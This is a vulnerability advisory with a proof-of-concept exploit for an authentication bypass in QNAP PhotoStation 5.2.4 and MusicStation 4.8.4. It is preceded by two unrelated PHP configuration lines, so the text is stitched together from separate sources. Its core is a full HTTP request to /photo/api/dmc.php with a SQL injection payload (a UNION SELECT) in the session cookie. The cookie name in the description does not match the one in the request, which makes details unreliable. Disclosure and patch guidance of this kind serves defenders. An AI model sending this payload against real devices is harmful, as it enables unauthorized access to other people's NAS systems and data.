$settings['admin_link'] = true; // Show the admin link in the footer of all page
$settings['bm_info'] = true; // Show ban management infomation aside 'Account Status'
            
# Exploit QNAP PhotoStation 5.2.4 and MusicStation 4.8.4 Authentication Bypass
# Date: 10.05.2017
# Software Link: https://www.qnap.com
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: web
  
1. Description
 
`$_COOKIE[STATIONSID]` is not escaped and then used inside SQL statement.

https://security.szurek.pl/qnap-photostation-524-musicstation-484-authentication-bypass.html

2. Proof of Concept

GET /photo/api/dmc.php HTTP/1.1
Host: qnap.host:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: QMS_SID=' UNION SELECT 9999999999,9999999999,9999999999,9999999999,9999999999,9999999999,9999999999,9999999999,9999999999 -- a
Connection: close

3. Fix

Upgrade to version: Photo Station (5.3.4 / 5.2.5), Music Station (5.0.4 / 4.8.5)